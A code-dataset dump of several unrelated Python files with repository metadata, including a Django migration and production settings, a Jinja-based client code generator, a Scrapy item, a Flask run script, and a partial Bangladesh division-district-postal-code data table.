67bda31053ef65e4976dcbd6b6dd4d87a1324063 | 1,490 | py | Python | contentcuration/contentcuration/migrations/0051_auto_20170126_1012.py | Tlazypanda/studio | cd1c2f169c705027cdd808cbbcae907d0a9b21d2 | [
"MIT"
] | 1 | 2019-03-30T18:14:25.000Z | 2019-03-30T18:14:25.000Z | contentcuration/contentcuration/migrations/0051_auto_20170126_1012.py | Tlazypanda/studio | cd1c2f169c705027cdd808cbbcae907d0a9b21d2 | [
"MIT"
] | 4 | 2016-05-06T17:19:30.000Z | 2019-03-15T01:51:24.000Z | contentcuration/contentcuration/migrations/0051_auto_20170126_1012.py | Tlazypanda/studio | cd1c2f169c705027cdd808cbbcae907d0a9b21d2 | [
"MIT"
] | 4 | 2016-10-18T22:49:08.000Z | 2019-09-17T11:20:51.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.9.7 on 2017-01-26 18:12
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('contentcuration', '0050_auto_20170125_1018'),
]
operations = [
migrations.AddField(
model_name='formatpreset',
name='subtitle',
field=models.BooleanField(default=False),
),
migrations.AlterField(
model_name='file',
name='language',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='files', to='contentcuration.Language'),
),
migrations.AlterField(
model_name='language',
name='id',
field=models.CharField(max_length=7, primary_key=True, serialize=False),
),
migrations.AlterField(
model_name='language',
name='lang_code',
field=models.CharField(db_index=True, max_length=3),
),
migrations.AlterField(
model_name='language',
name='lang_subcode',
field=models.CharField(blank=True, db_index=True, max_length=3, null=True),
),
migrations.AlterField(
model_name='language',
name='readable_name',
field=models.CharField(blank=True, max_length=100),
),
]
| 31.702128 | 157 | 0.600671 | 153 | 1,490 | 5.679739 | 0.444444 | 0.06214 | 0.143844 | 0.166858 | 0.357883 | 0.24626 | 0.103567 | 0 | 0 | 0 | 0 | 0.035448 | 0.280537 | 1,490 | 46 | 158 | 32.391304 | 0.775187 | 0.044966 | 0 | 0.384615 | 1 | 0 | 0.117606 | 0.033099 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.076923 | 0 | 0.153846 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
67c9f6d850adfb32566c3e9bfa09eb99acd63315 | 117 | py | Python | examples/citcom_features/features_from_json.py | jcbpyle/FLAMEGPU2_example_template | 5f5567611f13ee448f506cbd1813836112b07715 | [
"MIT"
] | null | null | null | examples/citcom_features/features_from_json.py | jcbpyle/FLAMEGPU2_example_template | 5f5567611f13ee448f506cbd1813836112b07715 | [
"MIT"
] | null | null | null | examples/citcom_features/features_from_json.py | jcbpyle/FLAMEGPU2_example_template | 5f5567611f13ee448f506cbd1813836112b07715 | [
"MIT"
] | null | null | null | import json
with open('temp_inputs_and_outputs.txt') as inputs:
data = json.load(inputs)
for d in data:
print(d) | 19.5 | 51 | 0.735043 | 21 | 117 | 3.952381 | 0.761905 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 117 | 6 | 52 | 19.5 | 0.838384 | 0 | 0 | 0 | 0 | 0 | 0.228814 | 0.228814 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0.2 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
67d6bfb5527895e0d76540eb84605e5a7391a799 | 314 | py | Python | run.py | CiscoSE/nx-to-aci | 7d9c1905c39eccf07cf8042472c1e53c687c84a3 | [
"Apache-2.0"
] | 1 | 2020-02-16T05:58:34.000Z | 2020-02-16T05:58:34.000Z | run.py | CiscoSE/nx-to-aci | 7d9c1905c39eccf07cf8042472c1e53c687c84a3 | [
"Apache-2.0"
] | null | null | null | run.py | CiscoSE/nx-to-aci | 7d9c1905c39eccf07cf8042472c1e53c687c84a3 | [
"Apache-2.0"
] | 2 | 2020-02-16T05:58:35.000Z | 2020-10-02T16:20:16.000Z | from app import app
# If you need to make the application visible outside, change the
# ip address to your own ip. You can also change the port that
# the application will be listening.
context = ('NCACert.pem', 'NCAKey.pem')
app.run(host='127.0.0.1', debug=True, port=5007, ssl_context=context, threaded=True)
| 31.4 | 84 | 0.742038 | 54 | 314 | 4.296296 | 0.703704 | 0.12069 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.037594 | 0.152866 | 314 | 9 | 85 | 34.888889 | 0.834586 | 0.506369 | 0 | 0 | 0 | 0 | 0.198676 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
67dc0ecd7fd74e37c2463977294ac367728cf96d | 335 | py | Python | collect_data/news_loader/items.py | SpotlessRadiance/NewsTopics | c1da7445537ae941ffb88ef8aa496ebb5702adcf | [
"MIT"
] | null | null | null | collect_data/news_loader/items.py | SpotlessRadiance/NewsTopics | c1da7445537ae941ffb88ef8aa496ebb5702adcf | [
"MIT"
] | null | null | null | collect_data/news_loader/items.py | SpotlessRadiance/NewsTopics | c1da7445537ae941ffb88ef8aa496ebb5702adcf | [
"MIT"
] | null | null | null | # Define here the models for your scraped items
#
# See documentation in:
# https://docs.scrapy.org/en/latest/topics/items.html
import scrapy
from itemloaders.processors import TakeFirst, MapCompose, Join
import re
class NewsLoaderItem(scrapy.Item):
theme = scrapy.Field()
title = scrapy.Field()
text = scrapy.Field()
| 19.705882 | 62 | 0.737313 | 44 | 335 | 5.613636 | 0.772727 | 0.133603 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.161194 | 335 | 16 | 63 | 20.9375 | 0.879004 | 0.355224 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.428571 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
67e9264e7546c5c2cd4ee67930c40a68df874fe4 | 3,550 | py | Python | cinp_utils/codegen_python.py | cinp/utils | 2225eccd2e6ffc558a608390711c15da0c06fc25 | [
"Apache-2.0"
] | null | null | null | cinp_utils/codegen_python.py | cinp/utils | 2225eccd2e6ffc558a608390711c15da0c06fc25 | [
"Apache-2.0"
] | null | null | null | cinp_utils/codegen_python.py | cinp/utils | 2225eccd2e6ffc558a608390711c15da0c06fc25 | [
"Apache-2.0"
] | 2 | 2018-02-09T18:50:05.000Z | 2018-02-09T18:51:37.000Z | import os
from jinja2 import Environment
env = Environment()
header_template = env.from_string( """# Automatically generated by cinp-codegen from {{url}} at {{timestamp}}
from cinp import client
class {{service}}( cinp.CInP ):
def __init__( self, host, proxy=None ):
super().__init__( host, '{{root_path}}', proxy )
ns = self.describe( '{{root_path}}' )
if ns[ 'api-version' ] != '{{api_version}}':
raise ValueError( 'API version mismatch. Got "{0}", expected "{{api_version}}"'.format( ns[ 'api-version' ] ) )
""" )
ns_template = env.from_string( """
# Namespace {{name}}({{url}})
\"\"\"
{{doc}}
\"\"\"
""" )
model_template = env.from_string( """{% set model_name = prefix|title + name %}
# Model {{model_name}}({{url}})
class {{model_name}}:
\"\"\"
{{doc}}
\"\"\"
def __init__( self, id{% for field in fields %}, {{ field.name }}{% endfor %} ):
self.__id = id
{% for field in fields %} self.{{ field.name }} = {{ field.name }}
{% endfor %}
@classmethod
def list( cls, filter, filter_values ):
{% if not fitlers %}
asdf
{% else %}
if filter not in ( {% for filter in self.filters %}, '{{ filter.name }}'{% endfor %} ):
raise ValueError( 'Invalid filter "{0}"'.format( filter ) )
{% endif %}
@classmethod
def get( cls, id ):
data = cinp.get( '{{url}}:{id}:'.format( id ) )
return cls( id{% for field in fields %}, data[ '{{ field.name }}' ]{% endfor %} )
@classmethod
def create( cls{% for field in fields %}, {{ field.name }}{% endfor %} ):
data = cinp.create( {% for field in fields %}, {{ field.name }}{% endfor %} )
return cls( id{% for field in fields %}, data[ '{{ field.name }}' ]{% endfor %} )
def update( self{% for field in fields %}, {{ field.name }}=None{% endfor %} ):
cinp.update('{{url}}:{id}:'.format( id ) )
def delete( self ):
pass
{% for action in actions %}
def {{ action.name }}( self{% for paramater in action.paramaters %}, {{ paramater.name }}{% endfor %} ):
{% if action.static %}
return ---cinp.call( {{ action.url }}{% for paramater in action.paramaters %}, {{ paramater.name }}{% endfor %} )
{% else %}
return cinp.call( {{ action.url }}{% for paramater in action.paramaters %}, {{ paramater.name }}{% endfor %} )
{% endif %}
{% endfor %}
""")
def write_model( fp, prefix, model ):
value_map = {
'prefix': prefix,
'name': model[ 'name' ],
'url': model[ 'url' ],
'doc': model[ 'doc' ],
'field_list': model[ 'field_list' ],
'action_list': model[ 'action_list' ]
}
fp.write( model_template.render( **value_map ) )
def write_namespace( fp, prefix, namespace ):
value_map = {
'name': namespace[ 'name' ],
'url': namespace[ 'url' ],
'doc': namespace[ 'doc' ]
}
fp.write( ns_template.render( **value_map ) )
for model in namespace[ 'model_list' ]:
write_model( fp, prefix, model )
for child in namespace[ 'namespace_list' ]:
write_namespace( fp, '{0}_{1}'.format( prefix, namespace[ 'name' ] ), child )
def python_render_func( wrk_dir, header_map, root ):
header_map[ 'api_version' ] = root[ 'api_version' ]
root[ 'name' ] = ''
with open( os.path.join( wrk_dir, '{0}.py'.format( header_map[ 'service' ] ) ), 'w' ) as fp: # TODO: make sure this is filsystem safe
fp.write( header_template.render( **header_map ) )
write_namespace( fp, '', root )
| 32.87037 | 136 | 0.561127 | 414 | 3,550 | 4.673913 | 0.248792 | 0.05168 | 0.036176 | 0.057881 | 0.264599 | 0.208269 | 0.195349 | 0.147287 | 0.121964 | 0.121964 | 0 | 0.002236 | 0.244225 | 3,550 | 107 | 137 | 33.17757 | 0.718971 | 0.010704 | 0 | 0.261905 | 1 | 0.083333 | 0.658689 | 0.030484 | 0 | 0 | 0 | 0.009346 | 0 | 1 | 0.035714 | false | 0.011905 | 0.035714 | 0 | 0.119048 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
67ea91c5c2544862ed6a68c5d667e1d0390b5dc4 | 267 | py | Python | py_scripts/py_utils.py | Kaizer22/image-analysis-tools-aggregator | 4351011ff309e24c58ce518c24b33b22848c370e | [
"MIT"
] | null | null | null | py_scripts/py_utils.py | Kaizer22/image-analysis-tools-aggregator | 4351011ff309e24c58ce518c24b33b22848c370e | [
"MIT"
] | null | null | null | py_scripts/py_utils.py | Kaizer22/image-analysis-tools-aggregator | 4351011ff309e24c58ce518c24b33b22848c370e | [
"MIT"
] | null | null | null | import uuid
import cv2
OUTPUT_IMAGE_FOLDER = "./output/"
OUTPUT_FILE_TYPE = ".jpg"
def save_image_with_internal_name(img):
internal_name = str(uuid.uuid1()) + OUTPUT_FILE_TYPE
cv2.imwrite(OUTPUT_IMAGE_FOLDER + internal_name, img)
return internal_name
| 20.538462 | 57 | 0.7603 | 38 | 267 | 4.947368 | 0.5 | 0.255319 | 0.180851 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013158 | 0.146067 | 267 | 12 | 58 | 22.25 | 0.811404 | 0 | 0 | 0 | 0 | 0 | 0.048689 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.25 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
67efc2e0e9b92d1bad76073dfdf4fd6f52987739 | 1,211 | py | Python | stura/settings/production.py | aiventimptner/stura-md.de | 66bf49dfa28e17d5d3102d201646d97a62e72a45 | [
"BSD-3-Clause"
] | null | null | null | stura/settings/production.py | aiventimptner/stura-md.de | 66bf49dfa28e17d5d3102d201646d97a62e72a45 | [
"BSD-3-Clause"
] | null | null | null | stura/settings/production.py | aiventimptner/stura-md.de | 66bf49dfa28e17d5d3102d201646d97a62e72a45 | [
"BSD-3-Clause"
] | null | null | null | import os
from urllib.parse import urlparse
from .base import *
DEBUG = False
SECRET_KEY = os.environ['SECRET_KEY']
ALLOWED_HOSTS = os.environ.get('ALLOWED_HOSTS', 'stura-md.de,www.stura-md.de').split(',')
# Application definition
MIDDLEWARE += [
'whitenoise.middleware.WhiteNoiseMiddleware',
]
# Database
if os.environ.get('DATABASE_URL'):
u = urlparse(os.environ['DATABASE_URL'])
os.environ['DATABASE_HOST'] = u.hostname
os.environ['DATABASE_PORT'] = str(u.port)
os.environ['DATABASE_USERNAME'] = u.username
os.environ['DATABASE_PASSWORD'] = u.password
os.environ['DATABASE_NAME'] = u.path[1:]
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'HOST': os.environ['DATABASE_HOST'],
'PORT': os.environ['DATABASE_PORT'],
'USER': os.environ['DATABASE_USERNAME'],
'PASSWORD': os.environ['DATABASE_PASSWORD'],
'NAME': os.environ['DATABASE_NAME'],
}
}
# Static files
STATIC_ROOT = BASE_DIR / 'static'
# Security
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
SECURE_SSL_REDIRECT = True
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True
| 20.183333 | 89 | 0.690339 | 149 | 1,211 | 5.402685 | 0.42953 | 0.156522 | 0.232298 | 0.052174 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008929 | 0.16763 | 1,211 | 59 | 90 | 20.525424 | 0.789683 | 0.043765 | 0 | 0 | 0 | 0 | 0.290546 | 0.084996 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.060606 | 0.090909 | 0 | 0.090909 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
67f528121ef66e9f6cccf7c046a36e964755c43d | 5,078 | py | Python | brulib/library.py | KjellSchubert/bru | dd70b721d07fbd27c57c845cc3a29cd8f2dfc587 | [
"MIT"
] | 3 | 2015-01-06T15:22:16.000Z | 2015-11-27T18:13:04.000Z | brulib/library.py | KjellSchubert/bru | dd70b721d07fbd27c57c845cc3a29cd8f2dfc587 | [
"MIT"
] | 7 | 2015-02-10T15:13:38.000Z | 2021-05-30T07:51:13.000Z | brulib/library.py | KjellSchubert/bru | dd70b721d07fbd27c57c845cc3a29cd8f2dfc587 | [
"MIT"
] | 3 | 2015-01-29T17:19:53.000Z | 2016-01-06T12:50:06.000Z | """ Helpers for accessing files in the ./library dir.
This dir has a $module/$version.bru+gyp structure, containing information
about how to download tar.gzs for (or hwo to clone) each module, as well
as for how to build the module's libs and some of its tests/examples.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import os
import re
import functools
import brulib.jsonc
def alphnumeric_lt(a, b):
""" helper func for module version comparison """
# from http://stackoverflow.com/questions/2669059/how-to-sort-alpha-numeric-set-in-python
def to_alphanumeric_pairs(text):
convert = lambda text: int(text) if text.isdigit() else text
alphanum_key = lambda key: [ convert(c) for c in re.split('([0-9]+)', key) ]
return alphanum_key(text)
return to_alphanumeric_pairs(a) < to_alphanumeric_pairs(b)
@functools.total_ordering
class ModuleVersion:
""" helper class for module version comparison """
def __init__(self, version_text):
self.version_text = version_text
def __lt__(self, other):
lhs = self .version_text
rhs = other.version_text
# module versions could be straightforward like 1.2.3, or they could be
# openssl-style mixtures of numberrs & letters like 1.0.0f
return alphnumeric_lt(lhs, rhs)
class Library:
""" Gives access to content of ./library, getting information about modules
and versions
"""
def __init__(self, library_rootdir):
""" param library_rootdir e.g. './library' """
self._library_rootdir = library_rootdir
def get_root_dir(self):
""" return ctor param """
return self._library_rootdir
def get_module_dir(self, module_name):
""" get the dir containing the *.bru and other files for this module,
so return a subdir of get_root_dir().
"""
module_dir = os.path.join(self.get_root_dir(), module_name)
return module_dir
def _load_from_library(self, module_name, module_version, ext):
""" ext e.g. '.bru' or '.gyp' """
json_file_name = os.path.join(self.get_module_dir(module_name), module_version + ext)
jso = brulib.jsonc.loadfile(json_file_name)
return jso
def has_formula(self, module_name, module_version):
# lame impl: throw needless exception if module doesn't exist. Revise?
try:
self.load_formula(module_name, module_version)
return True
except:
return False
def load_formula(self, module_name, module_version):
""" E.g. to load recipe for module_name='zlib' module_version='1.2.8' """
# Recipes will be downloaded from some server some day (e..g from github
# directly).
formula = self._load_from_library(module_name, module_version, '.bru')
assert formula['module'] == module_name and formula['version'] == module_version
return formula
def load_gyp(self, formula):
""" to load the gyp file associated with a formula """
gyp = self._load_from_library(formula['module'], formula['version'], '.gyp')
assert 'targets' in gyp # otherwise it's not a (or is an empty) gyp file
return gyp
def _save_to_library(self, formula, jso, ext):
""" param jso is the dict or OrderedDict to save, which can by the
forumula itself, or a gyp file, or ... """
module_version = formula['version']
module_dir = self.get_module_dir(formula['module'])
file_name = os.path.join(module_dir, module_version + ext)
brulib.jsonc.savefile(file_name, jso)
#print("not modifying existing " + bru_file_name)
def save_formula(self, formula):
""" param formula is the same dict as returned by load_formula,
so should be an OrderedDict.
"""
self._save_to_library(formula, formula, '.bru')
def save_gyp(self, formula, gyp):
""" param is a dict representing gyp file content """
self._save_to_library(formula, gyp, '.gyp')
def get_all_versions(self, module):
""" yield all known versions of a module """
bru_file_names = os.listdir(self.get_module_dir(module))
regex = re.compile('^(.+)\\.bru$') # version can be 1.2.3 or 1.2rc7 or ...
for bru_file_name in bru_file_names:
match = regex.match(bru_file_name)
if match != None:
version = match.group(1)
yield version
def get_latest_version_of(self, module):
""" return the latest version of a module using alphanumeric comparison
of version strings. So this works fine for versions like '3.2.1'
but not as well when comparing '3.2.1rc1' with '3.2.1beta7'
"""
versions = self.get_all_versions(module)
return max((ModuleVersion(version_text) for version_text in versions)).version_text
| 40.951613 | 93 | 0.652422 | 692 | 5,078 | 4.580925 | 0.294798 | 0.053312 | 0.030284 | 0.043533 | 0.082965 | 0.021451 | 0 | 0 | 0 | 0 | 0 | 0.009474 | 0.251674 | 5,078 | 123 | 94 | 41.284553 | 0.824737 | 0.337731 | 0 | 0 | 0 | 0 | 0.026032 | 0 | 0 | 0 | 0 | 0 | 0.029412 | 1 | 0.235294 | false | 0 | 0.117647 | 0 | 0.544118 | 0.014706 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
db0c8f97c0ce0feac86d1383f4354144b2e42b23 | 264 | py | Python | supervised/logRegression/predict.py | robotenique/mlAlgorithms | 612d7fb2dcf4430528f63d35d6f1d10a33fee1af | [
"Unlicense"
] | 4 | 2017-08-16T21:37:31.000Z | 2022-02-10T05:37:39.000Z | supervised/logRegression/predict.py | robotenique/mlAlgorithms | 612d7fb2dcf4430528f63d35d6f1d10a33fee1af | [
"Unlicense"
] | null | null | null | supervised/logRegression/predict.py | robotenique/mlAlgorithms | 612d7fb2dcf4430528f63d35d6f1d10a33fee1af | [
"Unlicense"
] | null | null | null | import numpy as np
from sigmoid import sigmoid
def predict(theta, X):
""" computes the predictions for X using a threshold at 0.5
(i.e., if sigmoid(theta'*x) >= 0.5, predict 1)
"""
return np.array([1 if theta.dot(xi) >= 0.5 else 0 for xi in X])
| 24 | 67 | 0.636364 | 49 | 264 | 3.428571 | 0.612245 | 0.035714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.044335 | 0.231061 | 264 | 10 | 68 | 26.4 | 0.783251 | 0.386364 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.5 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
db0dde14627dfc235bfef968882656d4ec7e50a6 | 76,926 | py | Python | bangladesh/data.py | Druvo/Bangladesh | d8a0f8d001ed0ff824c6e027cd1d9a17e0130ef3 | [
"MIT"
] | 3 | 2021-05-08T18:14:25.000Z | 2021-05-09T21:46:32.000Z | bangladesh/data.py | Druvo/Bangladesh | d8a0f8d001ed0ff824c6e027cd1d9a17e0130ef3 | [
"MIT"
] | 1 | 2021-05-29T03:38:40.000Z | 2021-05-29T03:38:40.000Z | bangladesh/data.py | Druvo/Bangladesh | d8a0f8d001ed0ff824c6e027cd1d9a17e0130ef3 | [
"MIT"
] | 4 | 2021-05-09T18:37:34.000Z | 2021-12-05T08:24:27.000Z | from __future__ import absolute_import, print_function, unicode_literals
divisions_districts = {
'Barisal': ['Pirojpur',
'Barishal',
'Bhola',
'Barguna',
'Patuakhali',
'Jhalokathi'],
'Chittagong': ['Khagrachari',
'Noakhali',
'Rangamati',
'Bandarban',
'Feni',
'Lakshmipur',
'Chandpur',
'Comilla',
'Chittagong',
'Brahmanbaria',
"Cox's Bazar"],
'Dhaka': ['Dhaka',
'Manikganj',
'Tangail',
'Madaripur',
'Sherpur',
'Jamalpur',
'Narshingdi',
'Rajbari',
'Faridpur',
'Netrakona',
'Munshiganj',
'Gopalganj',
'Gazipur',
'Kishoreganj',
'Shariatpur',
'Narayanganj',
'Mymensingh'],
'Khulna': [
'Kustia',
'IBH WAs Here',
'Magura',
'Jessore',
'Narail',
'Meherpur',
'Chuadanga',
'Khulna',
'Satkhira',
'Jinaidaha'
],
'Rajshahi': [
'Natore',
'Rajshahi',
'Sirajganj',
'Pabna',
'Chapinawabganj',
'Bogra',
'Joypurhat',
'Naogaon'
],
'Rangpur': [
'Dinajpur',
'Panchagarh',
'Thakurgaon',
'Rangpur',
'Gaibandha',
'Lalmonirhat',
'Nilphamari',
'Kurigram'
],
'Sylhet': [
'Hobiganj',
'Moulvibazar',
'Sunamganj',
'Sylhet'
]
}
districts_postal_code = {
'Bandarban': {'Alikadam': [('Alikadam', '4650')],
'Bandarban Sadar': [('Bandarban Sadar', '4600')],
'Naikhong': [('Naikhong', '4660')],
'Roanchhari': [('Roanchhari', '4610')],
'Ruma': [('Ruma', '4620')],
'Thanchi': [('Lama', '4641'), ('Thanchi', '4630')]},
'Barguna': {'Amtali': [('Amtali', '8710')],
'Bamna': [('Bamna', '8730')],
'Barguna Sadar': [('Barguna Sadar', '8700'),
('Nali Bandar', '8701')],
'Betagi': [('Betagi', '8740'), ('Darul Ulam', '8741')],
'Patharghata': [('Kakchira', '8721'),
('Patharghata', '8720')]},
'Barishal': {'Agailzhara': [('Agailzhara', '8240'),
('Gaila', '8241'),
('Paisarhat', '8242')],
'Babuganj': [('Babuganj', '8210'),
('Barishal Cadet', '8216'),
('Chandpasha', '8212'),
('Madhabpasha', '8213'),
('Nizamuddin College', '8215'),
('Rahamatpur', '8211'),
('Thakur Mallik', '8214')],
'Barajalia': [('Barajalia', '8260'),
('Osman Manjil', '8261')],
'Barishal Sadar': [('Barishal Sadar', '8200'),
('Bukhainagar', '8201'),
('Jaguarhat', '8206'),
('Kashipur', '8205'),
('Patang', '8204'),
('Saheberhat', '8202'),
('Sugandia', '8203')],
'Gouranadi': [('Batajor', '8233'),
('Gouranadi', '8230'),
('Kashemabad', '8232'),
('Tarki Bandar', '8231')],
'Mahendiganj': [('Langutia', '8274'),
('Laskarpur', '8271'),
('Mahendiganj', '8270'),
('Nalgora', '8273'),
('Ulania', '8272')],
'Muladi': [('Charkalekhan', '8252'),
('Kazirchar', '8251'),
('Muladi', '8250')],
'Sahebganj': [('Charamandi', '8281'),
('kalaskati', '8284'),
('Padri Shibpur', '8282'),
('Sahebganj', '8280'),
('Shialguni', '8283')],
'Uzirpur': [('Dakuarhat', '8223'),
('Dhamura', '8221'),
('Jugirkanda', '8222'),
('Shikarpur', '8224'),
('Uzirpur', '8220')]},
'Bhola': {'Bhola Sadar': [('Bhola Sadar', '8300'),
('Joynagar', '8301')],
'Borhanuddin UPO': [('Borhanuddin UPO', '8320'),
('Mirzakalu', '8321')],
'Charfashion': [('Charfashion', '8340'),
('Dularhat', '8341'),
('Keramatganj', '8342')],
'Doulatkhan': [('Doulatkhan', '8310'), ('Hajipur', '8311')],
'Hajirhat': [('Hajirhat', '8360')],
'Hatshoshiganj': [('Hatshoshiganj', '8350')],
'Lalmohan UPO': [('Daurihat', '8331'),
('Gazaria', '8332'),
('Lalmohan UPO', '8330')]},
'Bogra': {'Alamdighi': [('Adamdighi', '5890'),
('Nasharatpur', '5892'),
('Santahar', '5891')],
'Bogra Sadar': [('Bogra Canttonment', '5801'),
('Bogra Sadar', '5800')],
'Dhunat': [('Dhunat', '5850'), ('Gosaibari', '5851')],
'Dupchachia': [('Dupchachia', '5880'), ('Talora', '5881')],
'Gabtoli': [('Gabtoli', '5820'), ('Sukhanpukur', '5821')],
'Kahalu': [('Kahalu', '5870')],
'Nandigram': [('Nandigram', '5860')],
'Sariakandi': [('Chandan Baisha', '5831'),
('Sariakandi', '5830')],
'Sherpur': [('Chandaikona', '5841'),
('Palli Unnyan Accadem', '5842'),
('Sherpur', '5840')],
'Shibganj': [('Shibganj', '5810')],
'Sonatola': [('Sonatola', '5826')]},
'Brahmanbaria': {'Akhaura': [('Akhaura', '3450'),
('Azampur', '3451'),
('Gangasagar', '3452')],
'Banchharampur': [('Banchharampur', '3420')],
'Brahamanbaria Sadar': [('Ashuganj', '3402'),
('Ashuganj Share',
'3403'),
('Brahamanbaria Sadar',
'3400'),
('Poun', '3404'),
('Talshahar', '3401')],
'Kasba': [('Chandidar', '3462'),
('Chargachh', '3463'),
('Gopinathpur', '3464'),
('Kasba', '3460'),
('Kuti', '3461')],
'Nabinagar': [('Jibanganj', '3419'),
('Kaitala', '3417'),
('Laubfatehpur', '3411'),
('Nabinagar', '3410'),
('Rasullabad', '3412'),
('Ratanpur', '3414'),
('Salimganj', '3418'),
('Shahapur', '3415'),
('Shamgram', '3413')],
'Nasirnagar': [('Fandauk', '3441'),
('Nasirnagar', '3440')],
'Sarail': [('Chandura', '3432'),
('Sarial', '3430'),
('Shahbajpur', '3431')]},
'Chandpur': {'Chandpur Sadar': [('Baburhat', '3602'),
('Chandpur Sadar', '3600'),
('Puranbazar', '3601'),
('Sahatali', '3603')],
'Faridganj': [('Chandra', '3651'),
('Faridganj', '3650'),
('Gridkaliandia', '3653'),
('Islampur Shah Isain', '3655'),
('Rampurbazar', '3654'),
('Rupsha', '3652')],
'Hajiganj': [('Bolakhal', '3611'), ('Hajiganj', '3610')],
'Hayemchar': [('Gandamara', '3661'),
('Hayemchar', '3660')],
'Kachua': [('Kachua', '3630'),
('Pak Shrirampur', '3631'),
('Rahima Nagar', '3632'),
('Shachar', '3633')],
'Matlobganj': [('Kalipur', '3642'),
('Matlobganj', '3640'),
('Mohanpur', '3641')],
'Shahrasti': [('Chotoshi', '3623'),
('Islamia Madrasha', '3624'),
('Khilabazar', '3621'),
('Pashchim Kherihar Al', '3622'),
('Shahrasti', '3620')]},
'Chapinawabganj': {'Bholahat': [('Bholahat', '6330')],
'Chapinawabganj Sadar': [('Amnura', '6303'),
('Chapinawbganj Sadar',
'6300'),
('Rajarampur', '6301'),
('Ramchandrapur',
'6302')],
'Nachol': [('Mandumala', '6311'),
('Nachol', '6310')],
'Rohanpur': [('Gomashtapur', '6321'),
('Rohanpur', '6320')],
'Shibganj U.P.O': [('Kansart', '6341'),
('Manaksha', '6342'),
('Shibganj U.P.O', '6340')]},
'Chittagong': {'Anawara': [('Anowara', '4376'),
('Battali', '4378'),
('Paroikora', '4377')],
'Boalkhali': [('Boalkhali', '4366'),
('Charandwip', '4369'),
('Iqbal Park', '4365'),
('Kadurkhal', '4368'),
('Kanungopara', '4363'),
